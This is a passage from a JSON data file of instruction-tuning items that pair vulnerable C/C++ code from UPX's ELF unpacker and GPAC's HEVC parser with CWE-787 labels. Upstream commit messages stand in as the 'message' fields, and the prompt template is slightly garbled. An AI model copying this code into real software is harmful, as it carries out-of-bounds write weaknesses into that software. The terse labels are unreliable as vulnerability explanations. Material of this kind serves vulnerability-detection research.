*)elf_find_dynamic(Elf64_Dyn::DT_SYMTAB);\n        gashtab = (unsigned const *)elf_find_dynamic(Elf64_Dyn::DT_GNU_HASH);\n        hashtab = (unsigned const *)elf_find_dynamic(Elf64_Dyn::DT_HASH);\n        if (3& ((uintptr_t)dynsym | (uintptr_t)gashtab | (uintptr_t)hashtab)) {\n            throwCantPack(\"unaligned DT_SYMTAB, DT_GNU_HASH, or DT_HASH/n\");\n        }\n        jni_onload_sym = elf_lookup(\"JNI_OnLoad\");\n        if (jni_onload_sym) {\n            jni_onload_va = get_te64(&jni_onload_sym->st_value);\n            jni_onload_va = 0;  // FIXME not understood; need example\n        }\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Check Shdr more\n\nhttps://github.com/upx/upx/issues/395\n\tmodified:   p_lx_elf.cpp'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void PackLinuxElf32::unpack(OutputFile *fo)\n{\n    if (e_phoff != sizeof(Elf32_Ehdr)) {// Phdrs not contiguous with Ehdr\n        throwCantUnpack(\"bad e_phoff\");\n    }\n    unsigned const c_phnum = get_te16(&ehdri.e_phnum);\n    unsigned old_data_off = 0;\n    unsigned old_data_len = 0;\n    unsigned old_dtinit = 0;\n    unsigned is_asl = 0;  // is Android Shared Library\n\n    unsigned szb_info = sizeof(b_info);\n    {\n        if (get_te32(&ehdri.e_entry) < 0x401180\n        &&  Elf32_Ehdr::EM_386 ==get_te16(&ehdri.e_machine)\n        &&  Elf32_Ehdr::ET_EXEC==get_te16(&ehdri.e_type)) {\n            // Beware ET_DYN.e_entry==0x10f0 (or so) does NOT qualify here.\n            /* old style, 8-byte b_info */\n            szb_info = 2*sizeof(unsigned);\n        }\n    }\n\n    fi->seek(overlay_offset - sizeof(l_info), SEEK_SET);\n    fi->readx(&linfo, sizeof(linfo));\n    lsize = get_te16(&linfo.l_lsize);\n    if (UPX_MAGIC_LE32 != get_le32(&linfo.l_magic)) {\n        throwCantUnpack(\"l_info corrupted\");\n    }\n    p_info hbuf;  fi->readx(&hbuf, sizeof(hbuf));\n    unsigned orig_file_size = get_te32(&hbuf.p_filesize);\n    blocksize = get_te32(&hbuf.p_blocksize);\n    if ((u32_t)file_size > orig_file_size || blocksize > orig_file_size\n        || !mem_size_valid(1, blocksize, OVERHEAD))\n        throwCantUnpack(\"p_info corrupted\");\n\n    ibuf.alloc(blocksize + OVERHEAD);\n    b_info bhdr; memset(&bhdr, 0, sizeof(bhdr));\n    fi->readx(&bhdr, szb_info);\n    ph.u_len = get_te32(&bhdr.sz_unc);\n    ph.c_len = get_te32(&bhdr.sz_cpr);\n    if (ph.c_len > (unsigned)file_size || ph.c_len == 0 || ph.u_len == 0\n    ||  ph.u_len > orig_file_size)\n        throwCantUnpack(\"b_info corrupted\");\n    ph.filter_cto = bhdr.b_cto8;\n\n    MemBuffer u(ph.u_len);\n    Elf32_Ehdr *const ehdr = (Elf32_Ehdr *)&u[0];\n    Elf32_Phdr const *phdr = 0;\n\n    // Uncompress Ehdr and Phdrs.\n    if (ibuf.getSize() < ph.c_len) {\n        throwCompressedDataViolation();\n    }\n    fi->readx(ibuf, ph.c_len);\n    decompress(ibuf, (upx_byte *)ehdr, false);\n    if (ehdr->e_type   !=ehdri.e_type\n    ||  ehdr->e_machine!=ehdri.e_machine\n    ||  ehdr->e_version!=ehdri.e_version\n    ||  ehdr->e_flags  !=ehdri.e_flags\n    ||  ehdr->e_ehsize !=ehdri.e_ehsize\n        // check EI_MAG[0-3], EI_CLASS, EI_DATA, EI_VERSION\n    ||  memcmp(ehdr->e_ident, ehdri.e_ident, Elf32_Ehdr::EI_OSABI)) {\n        throwCantUnpack(\"ElfXX_Ehdr corrupted\");\n    }\n    fi->seek(- (off_t) (szb_info + ph.c_len), SEEK_CUR);\n\n    unsigned const u_phnum = get_te16(&ehdr->e_phnum);\n    unsigned total_in = 0;\n    unsigned total_out = 0;\n    unsigned c_adler = upx_adler32(NULL, 0);\n    unsigned u_adler = upx_adler32(NULL, 0);\n#define MAX_ELF_HDR 512\n    if ((umin(MAX_ELF_HDR, ph.u_len) - sizeof(Elf32_Ehdr))/sizeof(Elf32_Phdr) < u_phnum) {\n        throwCantUnpack(\"bad compressed e_phnum\");\n    }\n#undef MAX_ELF_HDR\n\n    // Packed ET_EXE has no PT_DYNAMIC.\n    // Packed ET_DYN has original PT_DYNAMIC for info needed by rtld.\n    Elf32_Phdr const *const dynhdr = elf_find_ptype(Elf32_Phdr::PT_DYNAMIC, phdri, c_phnum);\n    bool const is_shlib = !!dynhdr;\n    if (is_shlib) {\n        // Unpack and output the Ehdr and Phdrs for real.\n        // This depends on position within input file fi.\n        unpackExtent(ph.u_len, fo, total_in, total_out,\n            c_adler, u_adler, false, szb_info);\n\n        // The first PT_LOAD.  Part is not compressed (for benefit of rtld.)\n        fi->seek(0, SEEK_SET);\n        fi->readx(ibuf, get_te32(&dynhdr->p_offset) + get_te32(&dynhdr->p_filesz));\n        overlay_offset -= sizeof(linfo);\n        xct_off = overlay_offset;\n        e_shoff = get_te32(&ehdri.e_shoff);\n        ibuf.subref(\"bad .e_shoff %#x for %#x\", e_shoff, sizeof(Elf32_Shdr) * e_shnum);\n        if (e_shoff && e_shnum) { // --android-shlib\n            shdri = (Elf32_Shdr /*const*/ *)ibuf.subref(\n                \"bad Shdr table\", e_shoff, sizeof(Elf32_Shdr)*e_shnum);\n            unsigned xct_off2 = get_te32(&shdri->sh_offset);\n            if (e_shoff == xct_off2) {\n                xct_off = e_shoff;\n            }\n            // un-Relocate dynsym (DT_SYMTAB) which is below xct_off\n            dynseg = (Elf32_Dyn const *)ibuf.subref(\n                \"bad DYNAMIC\", get_te32(&dynhdr->p_offset), get_te32(&dynhdr->p_filesz));\n            dynstr = (char const *)elf_find_dynamic(Elf32_Dyn::DT_STRTAB);\n            sec_dynsym = elf_find_section_type(Elf32_Shdr::SHT_DYNSYM);\n            if (sec_dynsym) {\n                unsigned const off_dynsym = get_te32(&sec_dynsym->sh_offset);\n                unsigned const sz_dynsym  = get_te32(&sec_dynsym->sh_size);\n                Elf32_Sym *const sym0 = (Elf32_Sym *)ibuf.subref(\n                    \"bad dynsym\", off_dynsym, sz_dynsym);\n                Elf32_Sym *sym = sym0;\n                for (int j = sz_dynsym / sizeof(Elf32_Sym); --j>=0; ++sym) {\n                    unsigned symval = get_te32(&sym->st_value);\n                    unsigned symsec = get_te16(&sym->st_shndx);\n                    if (Elf32_Sym::SHN_UNDEF != symsec\n                    &&  Elf32_Sym::SHN_ABS   != symsec\n                    &&  xct_off <= symval) {\n                        set_te32(&sym->st_value, symval - asl_delta);\n                    }\n                    if (Elf32_Sym::SHN_ABS == symsec && xct_off <= symval) {\n                        adjABS(sym, 0u - asl_delta);\n                    }\n                }\n            }\n        }\n        if (fo) {\n            fo->write(ibuf + ph.u_len, xct_off - ph.u_len);\n        }\n        // Search the Phdrs of compressed\n        int n_ptload = 0;\n        phdr = (Elf32_Phdr *) (void *) (1+ (Elf32_Ehdr *)(unsigned char *)ibuf);\n        for (unsigned j=0; j < u_phnum; ++phdr, ++j) {\n            if (PT_LOAD32==get_te32(&phdr->p_type) && 0!=n_ptload++) {\n                old_data_off = get_te32(&phdr->p_offset);\n                old_data_len = get_te32(&phdr->p_filesz);\n                break;\n            }\n        }\n\n        total_in  = xct_off;\n        total_out = xct_off;\n        ph.u_len = 0;\n        // Position the input for next unpackExtent.\n        fi->seek(sizeof(linfo) + overlay_offset + sizeof(hbuf) + szb_info + ph.c_len, SEEK_SET);\n\n        // Decompress and unfilter the tail of first PT_LOAD.\n        phdr = (Elf32_Phdr *) (void *) (1+ ehdr);\n        for (unsigned j=0; j < u_phnum; ++phdr, ++j) {\n            if (PT_LOAD32==get_te32(&phdr->p_type)) {\n                ph.u_len = get_te32(&phdr->p_filesz) - xct_off;\n                break;\n            }\n        }\n        unpackExtent(ph.u_len, fo, total_in, total_out,\n            c_adler, u_adler, false, szb_info);\n    }\n    else {  // main executable\n        // Decompress each PT_LOAD.\n        bool first_PF_X = true;\n        phdr = (Elf32_Phdr *) (void *) (1+ ehdr);  // uncompressed\n        for (unsigned j=0; j < u_phnum; ++phdr, ++j) {\n            if (PT_LOAD32==get_te32(&phdr->p_type)) {\n                unsigned const filesz = get_te32(&phdr->p_filesz);\n                unsigned const offset = get_te32(&phdr->p_offset);\n                if (fo)\n                    fo->seek(offset, SEEK_SET);\n                if (Elf32_Phdr::PF_X & get_te32(&phdr->p_flags)) {\n                    unpackExtent(filesz, fo, total_in, total_out,\n                        c_adler, u_adler, first_PF_X, szb_info);\n                    first_PF_X = false;\n                }\n                else {\n                    unpackExtent(filesz, fo, total_in, total_out,\n                        c_adler, u_adler, false, szb_info);\n                }\n            }\n        }\n    }\n    phdr = phdri;\n    load_va = 0;\n    for (unsigned j=0; j < c_phnum; ++j) {\n        if (PT_LOAD32==get_te32(&phdr->p_type)) {\n            load_va = get_te32(&phdr->p_vaddr);\n            break;\n        }\n    }\n    if (0x1000==get_te32(&phdri[0].p_filesz)  // detect C_BASE style\n    &&  0==get_te32(&phdri[1].p_offset)\n    &&  0==get_te32(&phdri[0].p_offset)\n    &&     get_te32(&phdri[1].p_filesz) == get_te32(&phdri[1].p_memsz)) {\n        fi->seek(up4(get_te32(&phdr[1].p_memsz)), SEEK_SET);  // past the loader\n    }\n    else if (is_shlib\n    ||  ((unsigned)(get_te32(&ehdri.e_entry) - load_va) + up4(lsize) +\n                ph.getPackHeaderSize() + sizeof(overlay_offset))\n            < up4(file_size)) {\n        // Loader is not at end; skip past it.\n        funpad4(fi);  // MATCH01\n        unsigned d_info[4]; fi->readx(d_info, sizeof(d_info));\n        if (0==old_dtinit) {\n            old_dtinit = get_te32(&d_info[2 + (0==d_info[0])]);\n            is_asl = 1u& get_te32(&d_info[0 + (0==d_info[0])]);\n        }\n        fi->seek(lsize - sizeof(d_info), SEEK_CUR);\n    }\n\n    // The gaps between PT_LOAD and after last PT_LOAD\n    phdr = (Elf32_Phdr *)&u[sizeof(*ehdr)];\n    unsigned hi_offset(0);\n    for (unsigned j = 0; j < u_phnum; ++j) {\n        if (PT_LOAD32==phdr[j].p_type\n        &&  hi_offset < phdr[j].p_offset)\n            hi_offset = phdr[j].p_offset;\n    }\n    for (unsigned j = 0; j < u_phnum; ++j) {\n        unsigned const size = find_LOAD_gap(phdr, j, u_phnum);\n        if (size) {\n            unsigned const where = get_te32(&phdr[j].p_offset) +\n                                   get_te32(&phdr[j].p_filesz);\n            if (fo)\n                fo->seek(where, SEEK_SET);\n            unpackExtent(size, fo, total_in, total_out,\n                c_adler, u_adler, false, szb_info,\n                (phdr[j].p_offset != hi_offset));\n        }\n    }\n\n    // check for end-of-file\n    fi->readx(&bhdr, szb_info);\n    unsigned const sz_unc = ph.u_len = get_te32(&bhdr.sz_unc);\n\n    if (sz_unc == 0) { // uncompressed size 0 -> EOF\n        // note: magic is always stored le32\n        unsigned const sz_cpr = get_le32(&bhdr.sz_cpr);\n        if (sz_cpr != UPX_MAGIC_LE32)  // sz_cpr must be h->magic\n            throwCompressedDataViolation();\n    }\n    else { // extra bytes after end?\n        throwCompressedDataViolation();\n    }\n\n    if (is_shlib) {\n        // DT_INIT must be restored.\n        // If android_shlib, then the asl_delta relocations must be un-done.\n        int n_ptload = 0;\n        unsigned load_off = 0;\n        phdr = (Elf32_Phdr *)&u[sizeof(*ehdr)];\n        for (unsigned j= 0; j < u_phnum; ++j, ++phdr) {\n            if (PT_LOAD32==get_te32(&phdr->p_type) && 0!=n_ptload++) {\n                load_off = get_te32(&phdr->p_offset);\n                load_va  = get_te32(&phdr->p_vaddr);\n                fi->seek(old_data_off, SEEK_SET);\n                fi->readx(ibuf, old_data_len);\n                total_in  += old_data_len;\n                total_out += old_data_len;\n\n                Elf32_Phdr const *udynhdr = (Elf32_Phdr *)&u[sizeof(*ehdr)];\n                for (unsigned j3= 0; j3 < u_phnum; ++j3, ++udynhdr)\n                if (Elf32_Phdr::PT_DYNAMIC==get_te32(&udynhdr->p_type)) {\n                    unsigned dt_pltrelsz(0), dt_jmprel(0);\n                    unsigned dt_relsz(0), dt_rel(0);\n                    unsigned const dyn_len = get_te32(&udynhdr->p_filesz);\n                    unsigned const dyn_off = get_te32(&udynhdr->p_offset);\n                    if ((unsigned long)file_size < (dyn_len + dyn_off)) {\n                        char msg[50]; snprintf(msg, sizeof(msg),\n                                \"bad PT_DYNAMIC .p_filesz %#x\", dyn_len);\n                        throwCantUnpack(msg);\n                    }\n                    if (dyn_off < load_off) {\n                        continue;  // Oops.  Not really is_shlib ?  [built by 'rust' ?]\n                    }\n                    Elf32_Dyn *dyn = (Elf32_Dyn *)((unsigned char *)ibuf +\n                        (dyn_off - load_off));\n                    dynseg = dyn; invert_pt_dynamic(dynseg);\n                    for (unsigned j2= 0; j2 < dyn_len; ++dyn, j2 += sizeof(*dyn)) {\n                        unsigned const tag = get_te32(&dyn->d_tag);\n                        unsigned       val = get_te32(&dyn->d_val);\n                        if (is_asl) switch (tag) {\n                        case Elf32_Dyn::DT_RELSZ:    { dt_relsz    = val; } break;\n                        case Elf32_Dyn::DT_REL:      { dt_rel      = val; } break;\n                        case Elf32_Dyn::DT_PLTRELSZ: { dt_pltrelsz = val; } break;\n                        case Elf32_Dyn::DT_JMPREL:   { dt_jmprel   = val; } break;\n\n                        case Elf32_Dyn::DT_PLTGOT:\n                        case Elf32_Dyn::DT_PREINIT_ARRAY:\n                        case Elf32_Dyn::DT_INIT_ARRAY:\n                        case Elf32_Dyn::DT_FINI_ARRAY:\n                        case Elf32_Dyn::DT_FINI: {\n                            set_te32(&dyn->d_val, val -= asl_delta);\n                        }; break;\n                        } // end switch()\n                        if (upx_dt_init == tag) {\n                            if (Elf32_Dyn::DT_INIT == tag) {\n                                set_te32(&dyn->d_val, old_dtinit);\n                                if (!old_dtinit) { // compressor took the slot\n                                    dyn->d_tag = Elf32_Dyn::DT_NULL;\n                                    dyn->d_val = 0;\n                                }\n                            }\n                            else if (Elf32_Dyn::DT_INIT_ARRAY    == tag\n                            ||       Elf32_Dyn::DT_PREINIT_ARRAY == tag) {\n                                if (val < load_va || (unsigned)file_size < (unsigned)val) {\n                                    char msg[50]; snprintf(msg, sizeof(msg),\n                                            \"Bad Dynamic tag %#x %#x\",\n                                            (unsigned)tag, (unsigned)val);\n                                    throwCantUnpack(msg);\n                                }\n                                set_te32(&ibuf[val - load_va], old_dtinit\n                                    + (is_asl ? asl_delta : 0));  // counter-act unRel32\n                            }\n                        }\n                        // Modified DT_*.d_val are re-written later from ibuf[]\n                    }\n                    if (is_asl) {\n                        lowmem.alloc(xct_off);\n                        fi->seek(0, SEEK_SET);\n                        fi->read(lowmem, xct_off);  // contains relocation tables\n                        if (dt_relsz && dt_rel) {\n                            Elf32_Rel *const rel0 = (Elf32_Rel *)lowmem.subref(\n                                \"bad Rel offset\", dt_rel, dt_relsz);\n                            unRel32(dt_rel, rel0, dt_relsz, ibuf, load_va, fo);\n                        }\n                        if (dt_pltrelsz && dt_jmprel) { // FIXME:  overlap w/ DT_REL ?\n                            Elf32_Rel *const jmp0 = (Elf32_Rel *)lowmem.subref(\n                                \"bad Jmprel offset\", dt_jmprel, dt_pltrelsz);\n                            unRel32(dt_jmprel, jmp0, dt_pltrelsz, ibuf, load_va, fo);\n                        }\n                        // Modified relocation tables are re-written by unRel32\n                    }\n                }\n                if (fo) {\n                    fo->seek(get_te32(&phdr->p_offset), SEEK_SET);\n                    fo->rewrite(ibuf, old_data_len);\n                }\n            }\n        }\n    }\n\n    // update header with totals\n    ph.c_len = total_in;\n    ph.u_len = total_out;\n\n    // all bytes must be written\n    if (total_out != orig_file_size)\n        throwEOFException();\n\n    // finally test the checksums\n    if (ph.c_adler != c_adler || ph.u_adler != u_adler)\n        throwChecksumError();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Defend against bad PT_DYNAMIC\n\nhttps://github.com/upx/upx/issues/391\n\tmodified:   p_lx_elf.cpp\n\tmodified:   p_lx_elf.h'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static Bool hevc_parse_vps_extension(HEVC_VPS *vps, GF_BitStream *bs)\n{\n\tu8 splitting_flag, vps_nuh_layer_id_present_flag, view_id_len;\n\tu32 i, j, num_scalability_types, num_add_olss, num_add_layer_set, num_indepentdent_layers, nb_bits, default_output_layer_idc = 0;\n\tu8 dimension_id_len[16], dim_bit_offset[16];\n\tu8 /*avc_base_layer_flag, */NumLayerSets, /*default_one_target_output_layer_flag, */rep_format_idx_present_flag, ols_ids_to_ls_idx;\n\tu8 layer_set_idx_for_ols_minus1[MAX_LHVC_LAYERS];\n\tu8 nb_output_layers_in_output_layer_set[MAX_LHVC_LAYERS + 1];\n\tu8 ols_highest_output_layer_id[MAX_LHVC_LAYERS + 1];\n\n\tu32 k, d, r, p, iNuhLId, jNuhLId;\n\tu8 num_direct_ref_layers[64], num_pred_layers[64], num_layers_in_tree_partition[MAX_LHVC_LAYERS];\n\tu8 dependency_flag[MAX_LHVC_LAYERS][MAX_LHVC_LAYERS], id_pred_layers[64][MAX_LHVC_LAYERS];\n\t//\tu8 num_ref_layers[64];\n\t//\tu8 tree_partition_layer_id[MAX_LHVC_LAYERS][MAX_LHVC_LAYERS];\n\t//\tu8 id_ref_layers[64][MAX_LHVC_LAYERS];\n\t//\tu8 id_direct_ref_layers[64][MAX_LHVC_LAYERS];\n\tu8 layer_id_in_list_flag[64];\n\tBool OutputLayerFlag[MAX_LHVC_LAYERS][MAX_LHVC_LAYERS];\n\n\tvps->vps_extension_found = 1;\n\tif ((vps->max_layers > 1) && vps->base_layer_internal_flag)\n\t\thevc_profile_tier_level(bs, 0, vps->max_sub_layers - 1, &vps->ext_ptl[0], 0);\n\n\tsplitting_flag = gf_bs_read_int_log(bs, 1, \"splitting_flag\");\n\tnum_scalability_types = 0;\n\tfor (i = 0; i < 16; i++) {\n\t\tvps->scalability_mask[i] = gf_bs_read_int_log_idx(bs, 1, \"scalability_mask\", i);\n\t\tnum_scalability_types += vps->scalability_mask[i];\n\t}\n\tif (num_scalability_types >= 16) {\n\t\tnum_scalability_types = 16;\n\t}\n\tdimension_id_len[0] = 0;\n\tfor (i = 0; i < (num_scalability_types - splitting_flag); i++) {\n\t\tdimension_id_len[i] = 1 + gf_bs_read_int_log_idx(bs, 3, \"dimension_id_len_minus1\", i);\n\t}\n\n\tif (splitting_flag) {\n\t\tfor (i = 0; i < num_scalability_types; i++) {\n\t\t\tdim_bit_offset[i] = 0;\n\t\t\tfor (j = 0; j < i; j++)\n\t\t\t\tdim_bit_offset[i] += dimension_id_len[j];\n\t\t}\n\t\tdimension_id_len[num_scalability_types - 1] = 1 + (5 - dim_bit_offset[num_scalability_types - 1]);\n\t\tdim_bit_offset[num_scalability_types] = 6;\n\t}\n\n\tvps_nuh_layer_id_present_flag = gf_bs_read_int_log(bs, 1, \"vps_nuh_layer_id_present_flag\");\n\tvps->layer_id_in_nuh[0] = 0;\n\tvps->layer_id_in_vps[0] = 0;\n\tfor (i = 1; i < vps->max_layers; i++) {\n\t\tif (vps_nuh_layer_id_present_flag) {\n\t\t\tvps->layer_id_in_nuh[i] = gf_bs_read_int_log_idx(bs, 6, \"layer_id_in_nuh\", i);\n\t\t}\n\t\telse {\n\t\t\tvps->layer_id_in_nuh[i] = i;\n\t\t}\n\t\tvps->layer_id_in_vps[vps->layer_id_in_nuh[i]] = i;\n\n\t\tif (!splitting_flag) {\n\t\t\tfor (j = 0; j < num_scalability_types; j++) {\n\t\t\t\tvps->dimension_id[i][j] = gf_bs_read_int_log_idx2(bs, dimension_id_len[j], \"dimension_id\", i, j);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (splitting_flag) {\n\t\tfor (i = 0; i < vps->max_layers; i++)\n\t\t\tfor (j = 0; j < num_scalability_types; j++)\n\t\t\t\tvps->dimension_id[i][j] = ((vps->layer_id_in_nuh[i] & ((1 << dim_bit_offset[j + 1]) - 1)) >> dim_bit_offset[j]);\n\t}\n\telse {\n\t\tfor (j = 0; j < num_scalability_types; j++)\n\t\t\tvps->dimension_id[0][j] = 0;\n\t}\n\n\tview_id_len = gf_bs_read_int_log(bs, 4, \"view_id_len\");\n\tif (view_id_len > 0) {\n\t\tfor (i = 0; i < lhvc_get_num_views(vps); i++) {\n\t\t\tgf_bs_read_int_log_idx(bs, view_id_len, \"view_id_val\", i);\n\t\t}\n\t}\n\n\tfor (i = 1; i < vps->max_layers; i++) {\n\t\tfor (j = 0; j < i; j++) {\n\t\t\tvps->direct_dependency_flag[i][j] = gf_bs_read_int_log_idx(bs, 1, \"direct_dependency_flag\", i);\n\t\t}\n\t}\n\n\t//we do the test on MAX_LHVC_LAYERS and break in the loop to avoid a wrong GCC 4.8 warning on array bounds\n\tfor (i = 0; i < MAX_LHVC_LAYERS; i++) {\n\t\tif (i >= vps->max_layers) break;\n\t\tfor (j = 0; j < vps->max_layers; j++) {\n\t\t\tdependency_flag[i][j] = vps->direct_dependency_flag[i][j];\n\t\t\tfor (k = 0; k < i; k++)\n\t\t\t\tif (vps->direct_dependency_flag[i][k] && vps->direct_dependency_flag[k][j])\n\t\t\t\t\tdependency_flag[i][j] = 1;\n\t\t}\n\t}\n\n\tfor (i = 0; i < vps->max_layers; i++) {\n\t\tiNuhLId = vps->layer_id_in_nuh[i];\n\t\td = r = p = 0;\n\t\tfor (j = 0; j < vps->max_layers; j++) {\n\t\t\tjNuhLId = vps->layer_id_in_nuh[j];\n\t\t\tif (vps->direct_dependency_flag[i][j]) {\n\t\t\t\t//\t\t\t\tid_direct_ref_layers[iNuhLId][d] = jNuhLId;\n\t\t\t\td++;\n\t\t\t}\n\t\t\tif (dependency_flag[i][j]) {\n\t\t\t\t//\t\t\t\tid_ref_layers[iNuhLId][r] = jNuhLId;\n\t\t\t\tr++;\n\t\t\t}\n\n\t\t\tif (dependency_flag[j][i])\n\t\t\t\tid_pred_layers[iNuhLId][p++] = jNuhLId;\n\t\t}\n\t\tnum_direct_ref_layers[iNuhLId] = d;\n\t\t//\t\tnum_ref_layers[iNuhLId] = r;\n\t\tnum_pred_layers[iNuhLId] = p;\n\t}\n\n\tmemset(layer_id_in_list_flag, 0, 64 * sizeof(u8));\n\tk = 0; //num_indepentdent_layers\n\tfor (i = 0; i < vps->max_layers; i++) {\n\t\tiNuhLId = vps->layer_id_in_nuh[i];\n\t\tif (!num_direct_ref_layers[iNuhLId]) {\n\t\t\tu32 h = 1;\n\t\t\t//tree_partition_layer_id[k][0] = iNuhLId;\n\t\t\tfor (j = 0; j < num_pred_layers[iNuhLId]; j++) {\n\t\t\t\tu32 predLId = id_pred_layers[iNuhLId][j];\n\t\t\t\tif (!layer_id_in_list_flag[predLId]) {\n\t\t\t\t\t//tree_partition_layer_id[k][h++] = predLId;\n\t\t\t\t\tlayer_id_in_list_flag[predLId] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tnum_layers_in_tree_partition[k++] = h;\n\t\t}\n\t}\n\tnum_indepentdent_layers = k;\n\n\tnum_add_layer_set = 0;\n\tif (num_indepentdent_layers > 1)\n\t\tnum_add_layer_set = gf_bs_read_ue_log(bs, \"num_add_layer_set\");\n\n\tfor (i = 0; i < num_add_layer_set; i++)\n\t\tfor (j = 1; j < num_indepentdent_layers; j++) {\n\t\t\tnb_bits = 1;\n\t\t\twhile ((1 << nb_bits) < (num_layers_in_tree_partition[j] + 1))\n\t\t\t\tnb_bits++;\n\t\t\tgf_bs_read_int_log_idx2(bs, nb_bits, \"highest_layer_idx_plus1\", i, j);\n\t\t}\n\n\n\tif (gf_bs_read_int_log(bs, 1, \"vps_sub_layers_max_minus1_present_flag\")) {\n\t\tfor (i = 0; i < vps->max_layers; i++) {\n\t\t\tgf_bs_read_int_log_idx(bs, 3, \"sub_layers_vps_max_minus1\", i);\n\t\t}\n\t}\n\n\tif (gf_bs_read_int_log(bs, 1, \"max_tid_ref_present_flag\")) {\n\t\tfor (i = 0; i < (vps->max_layers - 1); i++) {\n\t\t\tfor (j = i + 1; j < vps->max_layers; j++) {\n\t\t\t\tif (vps->direct_dependency_flag[j][i])\n\t\t\t\t\tgf_bs_read_int_log_idx2(bs, 3, \"max_tid_il_ref_pics_plus1\", i, j);\n\t\t\t}\n\t\t}\n\t}\n\tgf_bs_read_int_log(bs, 1, \"default_ref_layers_active_flag\");\n\n\tvps->num_profile_tier_level = 1 + gf_bs_read_ue_log(bs, \"num_profile_tier_level\");\n\tif (vps->num_profile_tier_level > MAX_LHVC_LAYERS) {\n\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[HEVC] Wrong number of PTLs in VPS %d\\n\", vps->num_profile_tier_level));\n\t\tvps->num_profile_tier_level = 1;\n\t\treturn GF_FALSE;\n\t}\n\n\tfor (i = vps->base_layer_internal_flag ? 2 : 1; i < vps->num_profile_tier_level; i++) {\n\t\tBool vps_profile_present_flag = gf_bs_read_int_log_idx(bs, 1, \"vps_profile_present_flag\", i);\n\t\thevc_profile_tier_level(bs, vps_profile_present_flag, vps->max_sub_layers - 1, &vps->ext_ptl[i - 1], i-1);\n\t}\n\n\tNumLayerSets = vps->num_layer_sets + num_add_layer_set;\n\tnum_add_olss = 0;\n\n\tif (NumLayerSets > 1) {\n\t\tnum_add_olss = gf_bs_read_ue_log(bs, \"num_add_olss\");\n\t\tdefault_output_layer_idc = gf_bs_read_int_log(bs, 2, \"default_output_layer_idc\");\n\t\tdefault_output_layer_idc = default_output_layer_idc < 2 ? default_output_layer_idc : 2;\n\t}\n\tvps->num_output_layer_sets = num_add_olss + NumLayerSets;\n\n\n\tlayer_set_idx_for_ols_minus1[0] = 1;\n\tvps->output_layer_flag[0][0] = 1;\n\n\tfor (i = 0; i < vps->num_output_layer_sets; i++) {\n\t\tif ((NumLayerSets > 2) && (i >= NumLayerSets)) {\n\t\t\tnb_bits = 1;\n\t\t\twhile ((1 << nb_bits) < (NumLayerSets - 1))\n\t\t\t\tnb_bits++;\n\t\t\tlayer_set_idx_for_ols_minus1[i] = gf_bs_read_int_log_idx(bs, nb_bits, \"layer_set_idx_for_ols_minus1\", i);\n\t\t}\n\t\telse\n\t\t\tlayer_set_idx_for_ols_minus1[i] = 0;\n\t\tols_ids_to_ls_idx = i < NumLayerSets ? i : layer_set_idx_for_ols_minus1[i] + 1;\n\n\t\tif ((i > (vps->num_layer_sets - 1)) || (default_output_layer_idc == 2)) {\n\t\t\tfor (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++)\n\t\t\t\tvps->output_layer_flag[i][j] = gf_bs_read_int_log_idx2(bs, 1, \"output_layer_flag\", i, j);\n\t\t}\n\n\t\tif ((default_output_layer_idc == 0) || (default_output_layer_idc == 1)) {\n\t\t\tfor (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) {\n\t\t\t\tif ((default_output_layer_idc == 0) || (vps->LayerSetLayerIdList[i][j] == vps->LayerSetLayerIdListMax[i]))\n\t\t\t\t\tOutputLayerFlag[i][j] = GF_TRUE;\n\t\t\t\telse\n\t\t\t\t\tOutputLayerFlag[i][j] = GF_FALSE;\n\t\t\t}\n\t\t}\n\n\t\tfor (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) {\n\t\t\tif (OutputLayerFlag[i][j]) {\n\t\t\t\tu32 curLayerID;\n\t\t\t\tvps->necessary_layers_flag[i][j] = GF_TRUE;\n\t\t\t\tcurLayerID = vps->LayerSetLayerIdList[i][j];\n\t\t\t\tfor (k = 0; k < j; k++) {\n\t\t\t\t\tu32 refLayerId = vps->LayerSetLayerIdList[i][k];\n\t\t\t\t\tif (dependency_flag[vps->layer_id_in_vps[curLayerID]][vps->layer_id_in_vps[refLayerId]])\n\t\t\t\t\t\tvps->necessary_layers_flag[i][k] = GF_TRUE;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tvps->num_necessary_layers[i] = 0;\n\t\tfor (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) {\n\t\t\tif (vps->necessary_layers_flag[i][j])\n\t\t\t\tvps->num_necessary_layers[i] += 1;\n\t\t}\n\n\t\tif (i == 0) {\n\t\t\tif (vps->base_layer_internal_flag) {\n\t\t\t\tif (vps->max_layers > 1)\n\t\t\t\t\tvps->profile_tier_level_idx[0][0] = 1;\n\t\t\t\telse\n\t\t\t\t\tvps->profile_tier_level_idx[0][0] = 0;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tnb_bits = 1;\n\t\twhile ((u32)(1 << nb_bits) < vps->num_profile_tier_level)\n\t\t\tnb_bits++;\n\t\tfor (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++)\n\t\t\tif (vps->necessary_layers_flag[i][j] && vps->num_profile_tier_level)\n\t\t\t\tvps->profile_tier_level_idx[i][j] = gf_bs_read_int_log_idx2(bs, nb_bits, \"profile_tier_level_idx\", i, j);\n\t\t\telse\n\t\t\t\tvps->profile_tier_level_idx[i][j] = 0;\n\n\n\t\tnb_output_layers_in_output_layer_set[i] = 0;\n\t\tfor (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) 